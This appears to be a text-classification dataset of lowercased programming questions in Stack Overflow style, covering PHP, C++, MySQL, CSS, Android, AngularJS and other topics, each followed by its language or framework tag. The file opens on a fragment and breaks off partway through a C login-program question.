</code></pre>   again...this is not what im looking for:,jquery
vertical scroller animation  is possible to do a vertical scroller animation in android without using javascript  anybody knows a tutorial o a web page with a helpful code  thanks,android
will php -l checking work on php files of older/past and future php versions   for example i have a php 5.2 php.exe which i m using to run the syntax checks of several php files - this works fine (have not had any problems) - but this may be because the files which i checked were php 5.2 files...    so i was wondering what would happen if i checked the syntax of lets say <em>functional</em> php 4 files or php 5.2+ files - <em>in all instances</em> would the check be fine or produce errors     i would imagine checking pre php 5.2 files (like php 4 etc) would be fine (as php is obviously backwards compatible and i m assuming php - l does not take function names into account when checking; so deprecated functions won t be an issue)...but i can see that the checking of php 5.2+ files could be an issue though  would i be correct in saying that; it would work fine on php files of older/past php versions but not future,php
there s no error or warning displayed but my code won t run  it says console application stopped working  a basic application of inheritance on classes..create a class person which has derived classes faculty and student. now derive class ta from classes faculty and student. implement constructors and print function for each class.   <pre><code> #include&lt;iostream&gt;     #include&lt;string&gt;     using namespace std;     class person {     protected:         string name;     public:         person() {};         void setter(string x) {             name = x;         }         virtual void print() {             cout &lt;&lt;  the name of faculty member is:  &lt;&lt; name;         }     };     class faculty : public person {     public:         virtual void print() {             cout &lt;&lt;  the name of faculty member is:  &lt;&lt; name;         }     };     class student : public person {     public:         virtual void print() {             cout &lt;&lt;  the name of student is:  &lt;&lt; name;         }      };     class ta : public faculty  public student {     public:         virtual void print(string y) {             string nm = y;             cout &lt;&lt;  the name of ta is:  &lt;&lt; nm;         }     };      int main() {         person *p= null; faculty f; student stu; ta t;         p-&gt;setter( anna );         p = &amp;f;         p-&gt;print();         p = &amp;stu;         p-&gt;print();         faculty *fac = &amp;t;         fac-&gt;print();         t.print( bob );         return 0;     } </code></pre>,c++
how to define the  follow  relationship in laravel 5.2  recently i use laravel to define the  follow  relationship between users. here are the models:   <pre><code>class user extends model {     public function follows()     {         return $this-&gt;morphmany( app\user    followable );     } }  class follow extends model {     public function followable()     {         return $this-&gt;morphto();     } } </code></pre>   and the database for follow is like this:   <pre><code>follows:     - id:     - user_id:     - followable_id:     - followable_type: </code></pre>   all the above are defined according to the examples which <a href= https://laravel.com/docs/5.1/eloquent-relationships#polymorphic-relations  rel= nofollow >laravel documents</a> provides.    and now i can retrieve the user model like this:   <pre><code>$follow = follow:find(1); $user = $follow-&gt;followable; </code></pre>   but when i write code like this:   <pre><code>$followers = $user-&gt;follows; </code></pre>   i get errors:   <pre><code>relationship method must return an object of type  illuminate\database\eloquent\relations\relation </code></pre>   here is my question: did i define the relationship of  follow  right  and how can i fix the errors     thanks.,php
an orm without session  i am worked with nhibernate  xpo  subsonic  dataobject.net. but as you know all of this orm s need session opening and closing in programming blocks  working with database sessions in business logic layer and ui layer is not a correct manner from the software engineering aspect. so i am going to change my orm to something that is not need for session or unitofwork in every piece of my application.    do you have any suggestion      also  i tried ef4 poco  but it have some problems and i could not find a forum/support center to ask my questions yet !   <hr>   the problem is i think in the upper layers of ui and logic   i should not involve my code into session creation and dispose. i want orm works transparently. specially xpo forced me to work heavily with sessions in ui forms ! i dont think its a right manner,.net
mysql  max 3 values  i got a table on my website with users rank column  the rank is a number and i wanted to select 3 users with the highest rank number  so i looked and search and the best as far as i think query i found is that: <a href= https://stackoverflow.com/questions/6056162/mysql-select-top-n-max-values >link</a>(the second query at the correct answer)  but i didn t understand the query  if anyone can can explain step-by-step(for example i didn t understand this line <code>from table li</code> from table is ok <strong>but who is li</strong>  i never saw that kind of syntax)  or suggest better query i will be very thankful  thank you all and have a nice day.,mysql
the second input replaces the last characters of the first input in scanf and fgets  i am trying to take a string input in c and i have tried both <code>scanf</code> and <code>fgets</code> for the same. however  one weird thing that is happening is that when i take a large input in first string  and then press enter and enter the second string  the second string replaces the characters at the end of the first string. this is happening with both <code>fgets</code> and <code>scanf</code>. what am i doing wrong      here is the code   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string&gt;  #define max_size 10000  // added in the edit  int main() {   char* str1;   char* str2;   char* deleted;   int len1  len2;    str1 = (char*)(malloc(sizeof(max_size)));   str2 = (char*)(malloc(sizeof(max_size)));   deleted = (char*)(malloc(sizeof(max_size)));    fgets (str1  max_size  stdin);   fgets (str2  max_size  stdin);    printf(  - %s - %d \n   str1  len1);   printf(  - %s - %d \n   str2  len2); } </code></pre>   here is the output :   <pre><code>$ ./a.out  qwertyuiolkjhgfdsazxcvbnmstack overflow  - qwertyuiolkjhgfdoverflow     &lt;&lt;&lt;&lt;&lt;&lt; the second string gets appended in the first  - 25   - overflow  - 9  </code></pre>,c
strange positioning after using mkannotationview centeroffset  in ios 5.0  i first place annotations on the map and also set the centre offset to cgpointmake(0 -annotationview.frame.size.height/2); right after setting the custom image for the annotation in the mapview:viewforannotation: method... after this the pins still appear at the original position which would be the case when the centre offset was not applied.     however  when i pinch or zoom the map  the annotation jumps to the correct position as would be the case with the centeroffset being set and then behaves correctly..     what could be the reason and solution for this     any help would be much appreciated.     baffled!!,ios
how to remove background corner of the button when button clicked  how to remove focus of the button when button onclick event occur using css.i have used css outline:0 none but it not work.i have also used border:none but it also not working.what can i do please suggest me.   <pre><code>.btnfst {     border-radius: 100px;     height: 60px;     width: 220px;     background-color:   #1e90ff;     font-size: 30px;     color: white;      border-style:hidden;     overflow: hidden;     border-image-repeat: stretch;     background-image: url( images/btt.png );       border: none;      outline: 0 none;     -moz-outline-style: none;     } </code></pre>,css
angularjs - using $index in ng-options  if i bind an array to a select tag using the following:   <pre><code>&lt;select ng-model= seldata  ng-options= $index as d.name for d in data &gt; </code></pre>   the option tags get the expected incrementing index values (0  1  2  ...). however  when i select something from the dropdown  the value of <code>seldata</code> is getting bound to <code>undefined</code>. should the binding actually work     on the other hand  if i do the following:   <pre><code>&lt;select ng-model= seldata  ng-options= d as d.name for d in data &gt; </code></pre>   the option tags get the same index  but the entire object is bound on change. i don t know if angular is meant to support this  or if it s simply a nice bug/side effect.,angularjs
fetching null when using select stmt in cursor <pre><code>begin declare gl_number varchar(20); declare value1 varchar(20); declare org_name varchar(150); declare value2 varchar(150); declare exp_base_curr varchar(150); declare tfo_ref_no varchar(150);   declare exit_loop boolean; declare serviceprovider_cursor cursor for      select quote(org.organisationname)  ed.expense_base_curr from          pmedb.expense_detail ed  pmedb.deal_expense de  pmedb.cost_sheet cs   pmedb.organisation org     where          de.cost_sheet_id=cs.cost_sheet_id and          ed.deal_expense_id = de.deal_expense_id and         ed.supplier_id = org.organisationid and         de.cost_sheet_id = new.cost_sheet_id;    declare continue handler for not found set exit_loop = true; set tfo_ref_no = new.cost_sheet_id;          -- open the cursor        open serviceprovider_cursor;        -- start looping        serviceprovider_loop: loop          -- read the name from next row into the variables           fetch  serviceprovider_cursor into value2  exp_base_curr;              set value1 = (select quote(gl_number) from `aisadb-rai`.`vw_coa` where g0_code= current_assets  and g1_code= adv_paid_to_suppliers  and g2_code= no_code  and g3_code= no_code  and g4_desc=  service_provider3 );          if (new.status= cost_sheet_approved  and old.status= cost_sheet_pending_for_approval ) then             insert into `aisadb-rai`.`accounting_transcation_details` (`tfo_ref_no`  `tfo_doc_type`  `gl_number`  `thirdparty_gl_number`  `debit_amount`) values (concat(tfo_ref_no  _costsheet )   cost_sheet  value1   00000   exp_base_curr);         end if;                    -- check if the exit_loop flag has been set by mysql            -- close the cursor and exit the loop if it has.          if exit_loop then              close serviceprovider_cursor;              leave serviceprovider_loop;          end if;        end loop serviceprovider_loop;  end </code></pre>   fetching null when using select stmt in mysql cursor. value1 is always fetching null.,mysql
"checking the answers and computing the score - javascript/html  i have about 20 question in this quiz. now what i m trying to do is to check whether my answer is correct or not when i submit the form. and print out the score.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>1.) what is html  
 &lt;br&gt;
 &lt;input type= radio  name= ans  value= a &gt; hypertext markup language&lt;br&gt;
 &lt;input type= radio  name= ans  value= b &gt; hypertrain markup language&lt;br&gt;
 &lt;input type= radio  name= ans  value= c &gt; hypertext marking language&lt;br&gt;
 &lt;input type= radio  name= ans  value= d &gt; hypertraingmarking language&lt;br&gt;&lt;br&gt;
 
 2.) what does gui mean  
 &lt;br&gt;
 &lt;input type= radio  name= ans1  value= a &gt; graphics user interface&lt;br&gt;
 &lt;input type= radio  name= ans1  value= b &gt; graphical user internet&lt;br&gt;
 &lt;input type= radio  name= ans1  value= c &gt; graphical user interface&lt;br&gt;
 &lt;input type= radio  name= ans1  value= d &gt; graphics user internet&lt;br&gt;&lt;br&gt;</code></pre>
 </div>
 </div>
     <a href= http://i.stack.imgur.com/3c0xm.png  rel= nofollow >jonas</a>",html
show value from chart when touch selected place  i am using <code>androidplot</code> library to show plots. and i have a question: this is any functionality to show value from chart when i touch him on specify place. for example i have a chart and i click in half of this chart and i want to see what values are in this place. is this possible  edit: ok i do something like that:   <pre><code>     private ontouchlistener mygraphtouchlistener = new ontouchlistener() {           public boolean ontouch(view v  motionevent event) {                  if (event.getaction() == motionevent.action_down                                  &amp;&amp; plot.containspoint(event.getx()  event.gety())) {                          plot.setcursorposition(event.getx()  event.gety());                          long xaxisvalue = plot.getgraphwidget()                                          .getxval(event.getx()).longvalue();                          double yaxisvalue = plot.getgraphwidget()                                          .getrangecursorval();                          plot.getgraphwidget().setcursorlabelpaint(null);                          string xaxisdate = new date(xaxisvalue).tolocalestring();                          log.d( ongraphtouch    x-value:   + xaxisvalue +  \ny-value:                                            + yaxisvalue +    +xaxisdate);                           log.v( asd     +plot.getgraphwidget().getaxisvaluelabelregions());                  }                   return true;          }  }; </code></pre>   but this solution show me all points wherever i click. if i click on chart or on white space this doesn t matter. i want to show logs only when i click on chart. any ideas,android
rails includes multiple 2 level associations  i have a table invoices with a column product. products table then belongs to other tables such as categories  suppliers etc..    in my view i need to display:   <pre><code>invoice.product.category inventory.product.supplier </code></pre>   i am trying to setup my controller to avoid n+1 queries.    so i did:   <pre><code>@invoices = invoice.all.includes(product =&gt; category  product =&gt; supplier) </code></pre>   i have bullet gem installed  and it shows that there/s a n+1 query detected <code>product =&gt; [category]</code> and <code>add to your finder::includes =&gt; [:category]</code>    it seems considering only the latest of the includes and ignore the others. i suppose my syntax is wrong.    how can i fix it,ruby-on-rails
php - $foo = !! foo ; echo $foo; - why does it print  1    someone could explain me how these two exclamation points works     <pre><code>&lt; php       $foo = !! foo ;        echo $foo;  &gt; </code></pre>,php
is it possible to make a css declaration override a style set in the element s style property   is it possible to make a css declaration override a style set in the element s style property     eg:   <pre><code>&lt;div class= root &gt;&lt;p style= font-size:13px; &gt;hello&lt;/p&gt;&lt;/div&gt; </code></pre>   is there someway i can override the font size with css      i already tried <code>.root p{font-size:16px !important;}</code>    the reason i want to do this is that i am making a javascript rich text editor  and sometimes when someone pastes into the editor  it adds styles like that.  but i don t want it to appear as smaller text.,css
is it ok to put a main() function in all modules for the purpose of unit tests   i have several subclasses to go along with my main class. is it bad practice to add a main function to every single class for tests,java
java – getx() method returns always 0  i try to learn java and i got a homework to write a class. there have got to be private double variables  pan  and  tilt  and methods  which return these variables (getpan and gettilt). moreover there should be implemented mousemoved method  which should update the values of pan and tilt using two formulae. so i wrote this piece of code:   <pre><code>package comp102x.project.task;  import java.awt.event.mouseevent; import java.awt.event.mousemotionlistener;  import comp102x.project.view.gamescreen;  public class aimlistener implements mousemotionlistener{     private double pan;     private double tilt;      public double getpan(){         return pan;     }      public double gettilt(){         return tilt;     }      public void mousemoved(mouseevent e){         pan = e.getx() / gamescreen.width * 180 - 90;         tilt = e.gety() / gamescreen.height * 90;     }      public void mousedragged(mouseevent e){     } } </code></pre>   unfortunatelly  it looks that the getx and gety methods always return 0. (pan is -90 and tilt is 0. always.) what am i supposed to do  is there constructor missing  how should it look if so  thanks all for help.,java
user role permission query  i have 5 tables: user > user_has_role > role > role_has_permission > permission    an user can have 0 or * roles. and a role can have 0 or * permissions    now i have a query which will get all permissions belonging to a user. this work but now i want that if the user has the role  super_admin  then all permissions get joined. but without specifing them in the table role_has_permission.    this is query:   <pre><code>select        p.name r.name role from          user_has_role as ur join          role as r on            ur.role_id = r.id join          role_has_permission as rp on            r.id = rp.role_id left join     permission as p on            rp.permission_id = p.id where         ur.user_id = [user_id] </code></pre>,sql
integer handle to memory address c#  my main purpose in doing this conversion is to create an object in c# based off of a memory address...would it be too hack-ish (or totally incorrect/stupid)  if so  is there a better way in doing this     something like this:   <pre><code>int app_handle = 920663024; // corresponds to memory location 0x36e033f0 string app_handle_converted_to_hex = decvalue.tostring( x ); myappclass *newapp = (myappclass *)app_handle_converted_to_hex; </code></pre>   also  is this possible to do at all without the use of pointers,c#
pass function that is potentially a null reference exception as a parameter  i d like to write a helper method that takes a func and a second parameter t  and attempts to invoke it.  if a null reference exception occurs  return t (second parameter).  if it s successful  return the result of the func passed in.  so instead of:   <pre><code>tablerow[rownum  fieldnamepos].value != null   tablerow[rownum  fieldnamepos].value.tostring() :   ; </code></pre>   i could write   <pre><code>helper.getdefaultifnull(tablerow[rownum  fieldnamepos].value.tostring   ) </code></pre>   which i believe is more concise and less code. here s what i have in the getdefaultifnull method:   <pre><code>public t getdefaultifnull&lt;t&gt;(func&lt;t&gt; functoinvoke  t defaultvalue) {     t result;     try     {        result = stringfunc.invoke();     }     catch (nullreferenceexception)     {        result = defaultvalue;     }      return result; } </code></pre>   when i run tests  this works correctly when passing in a non null reference  however when passing in a null reference  it throws an error when calling the method so it seems to be invoking the function while passing it into the method   here is the test code:   <pre><code>[testmethod]     public void null_exception_return_default()     {         stringbuilder sb = null;          //func&lt;string&gt; stringfunc = ;          var defaultvalue =   ;         var result = new helper().getdefaultifnull(sb.tostring  defaultvalue);          assert.areequal(defaultvalue  result);     } </code></pre>   is there a way to do this,c#
boxes adding up to 100% of the browser  i want to have 2 boxes right next to each other  one with a fixed width  and another with a width that will change based on the size of the browser. the box has overflow:auto  and i m trying to get the first box to act as a side bar that will follow you down the page. but of course i can t seem to achieve this  and have come here hoping someone could give me some examples  or point me in the right direction.    thanks!,css
angularjs: is it possible to use nested dom as component s template   i m looking for a way to use existing dome nodes of component as it s template. transclusion is the closest i what i ended up with  but it still requires additional wrapping elemwe   <pre><code>app.component( widgetdom   {     controller: function ($scope) {     $scope.data =  i m data for nested dom elements ;   } }); </code></pre>   and then display it as   <pre><code>&lt;widget-dom&gt;{{data}}&lt;/widget-dom&gt; </code></pre>   but it won t work.    with transclusion i would end up with:   <pre><code>&lt;widget-dom&gt;&lt;div ng-transclude&gt;{{data}}&lt;/div&gt;&lt;/widget-dom&gt; </code></pre>   is there a way to just use nested dom elements as template for component/directive     thank you.    <a href= https://jsfiddle.net/yb9dzkyv/  rel= nofollow noreferrer >https://jsfiddle.net/yb9dzkyv/</a>,angularjs
snake game moving issue [java]  i m trying to write a snake game in java  as a start i figured out how to get the snake (i have only implemented its head for the moment) move right. my problem is that i can t get it to move down (the snake should continue going down even if the key is released) when the  down  key is pressed. any ideas     main code:   <pre><code>import javax.swing.jframe;      public class main {      public static void main(string[] args) throws interruptedexception {         jframe frame = new jframe();         frame.setvisible(true);         frame.setsize(500  500);         frame.setresizable(false);         frame.setlocationrelativeto(null);         frame.setdefaultcloseoperation(jframe.dispose_on_close);          window window = new window();         frame.add(window);          while(true) {              window.move();              thread.sleep(10);         }                 }  } </code></pre>   window code:   <pre><code>import java.awt.graphics;     import javax.swing.jpanel; import java.awt.event.keyadapter; import java.awt.event.keyevent;   public class window extends jpanel {      public snake snake = new snake(this);      public window() {          this.setlayout(null);         setfocusable(true);      }      public void paint(graphics g2d) {         super.paint(g2d);         snake.paint(g2d);     }      public void move() {          snake.moveright();          this.addkeylistener(new keyadapter() {             @override             public void keypressed(keyevent event) {                 if(event.getkeycode() == keyevent.vk_down) {                     snake.setdx(0);                  }             }              public void keyreleased(keyevent event) {                 if(event.getkeycode() == keyevent.vk_down) {                     snake.movedown();                 }             }              public void keytyped(keyevent event) {              }          });          this.repaint();     }  } </code></pre>   snake code:   <pre><code>import java.awt.graphics;  public class snake {      window window;      private int positionx = 0;     private int positiony = 0;      private int dx = 1;     private int dy = 1;      public snake(window window) {         this.window = window;     }      public void paint(graphics g2d) {         g2d.fillrect(positionx  positiony  20  20);     }      public int getpositionx() {         return positionx;     }      public void setpositionx(int positionx) {         this.positionx = positionx;     }      public int getpositiony() {         return positiony;     }      public void setpositiony(int positiony) {         this.positiony = positiony;     }      public int getdx() {         return dx;     }      public void setdx(int dx) {         this.dx = dx;     }      public int getdy() {         return dy;     }      public void setdy(int dy) {         this.dy = dy;     }      public void moveright() {         positionx += dx;     }      public void movedown() {         positiony += dy;     }  } </code></pre>   thanks in advance.,java
turn c# code into mysql function  i have the following code in c# that i would like to turn into a mysql snippet instead    <pre><code>  foreach (datarow row in dtbills.rows)             {                 classes.utilitybill ub = new classes.utilitybill(row);                  if (ub.approvedby &gt; 0)                 {                     if (ub.remainingbalance() &gt; 0) { totaloutstanding += ub.remainingbalance(); numberofunpaidbills++; }                     if (ub.remainingbalance() &gt; 0 &amp;&amp; ub.isoverdue()) { numberofoverduebills++; }                 }                 else                 {                     if (ub.approvedby == 0)                     {                         awaitingapproval++;                     }                     else                     {                         rejectedbills++;                     }                 }             } </code></pre>   ub.remainingblaance() basically checks two fields in the table and subtracts  amount_due - amount_paid    what i m looking to have returned is a single row that looks something like:   <pre><code>totaloutstanding  numberofunpaidbills  numberofoverduebills  awaitingapproval  rejectedbills </code></pre>   original table:    <a href= https://i.stack.imgur.com/uqjrr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uqjrr.png  alt= enter image description here ></a> i know that this might come across like a lazy question  but i have never dealt with coding in mysql  just simple queries  and i have no idea on how to start. a push in the right direction would suffice  not a complete solution.    thanks!,mysql
iphone app stop rotating after few touches or sometimes stop rotating at all  other times works just fine. any idea where to look for the problem   iphone app stop rotating after few touches or sometimes stop rotating at all  other times works just fine. any idea where to look for the problem     my app is designed to support auto-rotate and works fine previously until i added some code that move json data loading to another thread.,iphone
make icon in the vertical middle no matter if div expand  i would like the warning icon is always displayed in the vertical middle. in my case  the number of error message will be changed.     the following is my code  the output screenshot also attached. <img src= https://i.stack.imgur.com/jiou9.jpg  alt= enter image description here >    can anyone help me  many thanks!   <pre><code>&lt;style type= text/css &gt;     #errormessage{         padding:5px;      }      #icon  #message{         float:left;         padding: 5px;         border:#666 1px solid;     }  &lt;/style&gt;   &lt;div id= errormessage &gt;    &lt;div id= icon &gt;          &lt;img src= images/warning.png  alt= success  width= 28px  /&gt;      &lt;/div&gt;     &lt;div id= message &gt;         &lt;p&gt;message1 message1 message1 message1 message1&lt;/p&gt;         &lt;p&gt;message2 message2 message2 message2 message2&lt;/p&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,css
read richtextbox first line when true then next line when false in every tick  <a href= https://i.stack.imgur.com/eatlw.png  rel= nofollow noreferrer >enter image description here</a>    this is what i am aiming to do. in everytime the clock ticks  and i get some errors well this is my codes so far.   <pre><code> private void timer1_tick(object sender  eventargs e)     {         //get current time         int hh = datetime.now.hour;         int mm = datetime.now.minute;         int ss = datetime.now.second;         int ms = datetime.now.millisecond;         //time         string time =   ;         //padding leading zero         if (hh &lt; 10)         { time += hh; }         else         {              if (hh &gt;= 12)             {                 int h = hh - 12;                 if (h == 0)                 {                      time += 12;                 }                 else                 {                     time += h;                 }              }             else { time += hh; }           }          time +=  : ;         if (mm &lt; 10)         { time +=  0  + mm; }         else         { time += mm; }         time +=  : ;         if (ss &lt; 10)         { time +=  0  + ss; }         else         { time += ss; }         //update ltime label         string[] ports = serialport.getportnames();          // serialport.getportnames() returns multiple strings in an array  not just one string.          //you need to go through each item in the array  and run your contains() and add() for each item.         foreach (var p in ports) // go through each string in the array         {             if (!combobox1.items.contains(p))                 combobox1.items.add(p);         }           if (hh &lt; 12)         { ltime.text = time +  am ; }         else { ltime.text = time +  pm ; }          int count = sched1.lines.count();//isulod sa var count kung pila ka line unod ni sched1.text         if (count == i)         {             display2.text =  no available schedule ;         }         else         {             /////reading the schedules             for (int x = 0; x &lt; count; x++)             {                  if (string.isnullorwhitespace(sched1.lines[x+1]))                 {                     display2.text =  empty ;                 }                 /////okay ni/                 else                 {                      if (sched1.lines[x+1] == (datetime.now.dayofweek.tostring()))                     {                         if (string.isnullorwhitespace(sched2.text))                         {                             display2.text =  empty ;                         }                         ///okay mn                         else                         {                             int count2 = sched2.lines.count();                             if (count2 == i)                             {                                 display2.text =  no available schedule ;                             }                             else                             {                                 for (int y = 0; x &lt; count2; y++)                                     if (sched2.lines[y+1].equals(ltime.text))                                     {                                           serialport1.write( 1 );                                          try                                         {                                             display2.text = serialport1.readexisting();                                           }                                         catch (timeoutexception)                                         {                                             display2.text =  timeout exception ;                                         }                                     }                             }                         }                     }                     else { display2.text =  empty ; }                     //ok mn                 }             }         }          }   but it display   index was outside the bounds of the array.  in  </code></pre>   if (string.isnullorwhitespace(sched1.lines[x+1])) i don t know what would be the problem.,c#
how to remove new line added in every html page ajax response ..   in every html page/ajax response at the beginning   two new blank line is added automatically.    it may be virus but didn t find  any kind of unwanted line/code in js or other file which can give me idea of how this two new blank line is added.    it added at top of any html page/ajax response.    if anyone has idea how to detect and remove,html
why the download button do not work   how i create download button using html!    the code is like:   <pre><code>&lt;a herf= so.jpg  download&gt;a herf= so.jpg  download&lt;/a&gt; {&lt;a href= so.jpg  download&gt;download&lt;/a&gt;} </code></pre>   but it does not work.     what can i do for this     i do not know how to write the correct code for solving this problem.    please help me.,html
prerequisite for learning angular  i need to learn angular for working on a project. i am a backend java/spring developer i have knowledge of html and javascript. i have also worked on basic knockout.js.    what are the prerequisite for learning angular,angularjs
mysql order by with join  below is php code for a mysql statement. i m trying to order by lname which is a last name in the members table. i tried from members as members1 and the inner as members2 but this statement throws an error also. i believe the problem is i have two of the same column name but in the other order by join examples i don t see this specific case where you have the same data column. the statement itself works fine as long as i don t comment in the last order by line.   <pre><code>$sql=  select *    from members m   join paid p     on m.member_id = p.member_id   where p.year =  $lastyear-12-31      and m.member_id not in       ( select x.member_id        from members x        join paid y          on x.member_id = y.member_id     where y.year =  $thisyear-12-31 )   order        by lname   </code></pre>,mysql
how can i simulate touch screen clicks on android phone from my pc   i am trying to control android phone touch screen  it s not have keypad available .    is there  any known tool that can send command to android touch screen  as if the user touch the screen      thanks  koby,android
check box click event or change event is not working in angular js  check box click event or change event is not working in angular js can anybody tell what is problem how to fix it    <pre><code>in html      &lt;div class= checkbox &gt;                     &lt;input type= checkbox                     id= chkfinancial                       data-ng-model = finance                      data-ng-click= checkchange(); /&gt;                         &lt;label &gt;                 test checkbox              &lt;/label&gt;             &lt;/div&gt;&lt;br/&gt; </code></pre>   in controller    <pre><code>    $scope.checkchange = function() { /*if($scope.finance==true){  $scope.finance=false;   } else {  $scope.finance=true;    }*/ alert($scope.finance);  };   </code></pre>   thanks,angularjs
mysql 5.5 equivalent to v5.7 shutdown   i have to perform a shutdown on a server with mysql 5.5.53. i was used to v5.7 shutdown.     i think the old command is mysql_shutdown() (confirm )  but my main concern  is that usually after a shutdown  it will restart as soon as called  but i don t know if it ll be the same after using a 5.5 mysql_shutdown. at this point you ll for sure noticed i m not exactly a mysql ninja.. :p,mysql
ruby on rails protect_from_forgery  why not default behind the scenes   i m just starting learning ruby/rails  followed a few guides and videos. basically  from what i gather the point of rails is to assume defaults  and hide them behind the scenes  and then when you want to change functionality you can.     when i create a new project  i noticed the line  protect_from_forgery  in my applicationcontroller. why is this created inside the file when i create a project in my ide  and not kept default behind the scenes / in the superclass  seems to be a bit anti-practice to what i ve read,ruby-on-rails
using $apply() with a component  i am trying to use <code>$apply()</code> with an angular 1.5 component and i am getting the error that <code>self.$apply</code> is not a function.   <pre><code>viewtest.controller( viewtest   function ($location) {     var self = this;     self.$oninit = function (location) {     self.$apply()     } }); </code></pre>,angularjs
aligning my image and text in two columns not working <pre><code>&lt;img id= story_image  src= images/builder_story_side.png  alt= photo /&gt;  &lt;div id= story_right &gt; &lt;h2 class= story_header &gt;fdgdfgdfgdfgdfgfdgdfgfdgdfgdfgdfgdfgdfgdfgdfgdfgdfgfdgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfg&lt;/h2&gt; &lt;p class= small_story &gt;fdgdfgdfgdfgdfgfdgdfgfdgdfgdfgdfgdfgdfgdfgdfgdfgdfgfdgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfgdfg&lt;/p&gt; &lt;/div&gt;    img#story_image{float:left;}  div#story_right{float:left;} </code></pre>   i ve done two columns before  but for some reason this time it s not working. i want the image to be in column one and the text in column two. story_right ends up below the image as if story_image was a block.,css
why <nobr> tag is deprecated   i understand that this tag could easily be replaced with <code>&lt;span class= nowrap &gt;</code> and a little bit of css  but in real life markup i often find that <code>&lt;nobr&gt;</code> tag is more appropriate. it s not about style  it s about content. <code>&lt;nobr&gt;v. v. putin&lt;/nobr&gt;</code> for example (in russian typography last name and first name shouldn t be line breaked  i think similar rules apply to other languages).    i guess that deprecation means there s something better but i don t see how styling is better than separate tag. of course there are places where css should be used. do i miss something,html
reloadable breakpoints in scripts  is there a way to have breakpoints within a python script  i m looking for something like the following:   <pre><code>number = 44838*783274 save( hi.py_breakpoint ) print  hello!   number </code></pre>   then i can continue where i left off as follows:   <pre><code>load( hi.py_breakpoint ) </code></pre>,python
android sdk and avd manager hangs trying to rename temporary folders  i run android sdk and avd manager in vista and have problems installing components. the installer downloads components successfully  but at the end of the installation it hangs for about minute and then asks to disable av software. if i choose  no   the installer stops with error message like:  filed to rename directory  ...  to  ...   . thus  i have to unpack downloaded components and place them to proper folders manually.    i have no av software. i assumed that the installer requires administrator rights  but runing it as administrator didn t help.     if anybody fixed the issue  please advice something. thanks.,android
what does this mean in xcode   what does this mean     from xcode:   <pre><code>dyld: library not loaded: /system/library/frameworks/avkit.framework/avkit   referenced from: /var/mobile/applications/50bc86a1-5c48-444f-a41a-6ab88d43d3b0/aviarydemo-ios.app/aviarydemo-ios   reason: image not found </code></pre>,ios
how to view an alert dialog box even when android phone is rotated  i am creating an application in which an alert dialog box pops up when i click on a button.now when the phone is rotated this view gets disappears.<strong>can anyone help me to retain this alert view even if phone is rotated </strong>,android
"internal server error 500. web.config  i am getting this error: 500 internal server error i have a captcha in my contact.aspx file  and in the web.config i have a line of code()  if i delete this line the page runs ok  but the captcha image is not shown.! can any one please help. this is the code in web.config:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt; xml version= 1.0  &gt;
 &lt;!--
   for more information on how to configure your asp.net application  please visit
   http://go.microsoft.com/fwlink/ linkid=169433
   --&gt;
 &lt;configuration&gt;
 &lt;system.web&gt;
     &lt;httphandlers&gt;
       &lt;add verb= get  path= captchaimage.axd  type= mscaptcha.captchaimagehandler mscaptcha /&gt;
     &lt;/httphandlers&gt;
     &lt;compilation debug= true  targetframework= 4.0 /&gt;
   &lt;/system.web&gt;
 &lt;/configuration&gt;</code></pre>
 </div>
 </div>",asp.net
determine if apple id is set up  is there any way to determine if apple id is set under ios device  i mean not get apple id but just determine if it is set up under settings.,ios
iphone multiple image loading <pre><code>    nsstring *urlval = @ http://at.azinova.info/green4care/iphone/viewimage.php id= ;      nsstring *urlval1 = [urlval stringbyappendingstring:selectedcountryw];        nsurl *url1 = [nsurl urlwithstring:urlval1];      nsstring *resultstring = [nsstring stringwithcontentsofurl:url1 encoding:nsutf8stringencoding error:nil];       nsmutablearray *arycountries2 = [resultstring componentsseparatedbystring:@ #***# ];     arraycountries = [[nsmutablearray alloc]initwitharray:arycountries2]; </code></pre>   i want to display the image url(resultstring) to a tableview. i refer three20 and lazytable  but it did not work for me. tableview code given below   <pre><code>- (nsinteger)numberofsectionsintableview:(uitableview *)tableview {     return 1; }   // customize the number of rows in the table view. - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {     return [arraycountries count]; }   // customize the appearance of table view cells. - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {      static nsstring *cellidentifier = @ cell ;      uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];     if (cell == nil) {         cell = [[[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] autorelease];     }     cell.imageview.image = [uiimage imagenamed:[arraycountries objectatindex:indexpath.row]];       return cell; } </code></pre>   please help me,iphone
c prog - file handling limits  i am trying to make a recording system wherein i want to sign in  login with my employee id and password  or if possible  just the employee id. the problem is  whenever i place the employer id s into a text file  my code limits me only of the predefined usernames on my code. how can i make every employer id present in a text file be accepted and can log in successfully    <pre><code>        #include &lt;stdio.h&gt;     #include &lt;conio.h&gt;     #include &lt;string.h&gt;     #include &lt;stdlib.h&gt;     #include &lt;conio.h&gt;      void mainmenu();     void enteritem();     void viewitem();     void searchitem();     void exit();      int count=1 ulength plength;     char username[]= admin  password[]= 1234 ;     char name1[10] pass[10];      char code[20] name[20] search[20];     int price qty;      main(){       printf( \nenter user id and password below(you have only three chances!\npress enter to continue  );       getch();       while(count&lt;=3)       {        printf( \nenter user id: );       scanf( %s  name1);       printf( \nenter password: );       scanf( %s  pass);       ulength=strcmp(name1 username);       plength=strcmp(pass password);       if(ulength==0&amp;&amp;plength==0)       {       printf( \nwelcome %s  name1);       break;       }       else       {       printf( \nusername and password is invalid!\n you have %d more chances/s.  3-count);       }       getch();       count++;       }       if(count==4)       printf( maximum of three(3)try only! );       getch();             mainmenu();         enteritem();         viewitem();         searchitem();         exit();          getch();          }      void mainmenu(void){      char choice;     printf( \t*************************************\n );     printf( \t******========================*******\n );     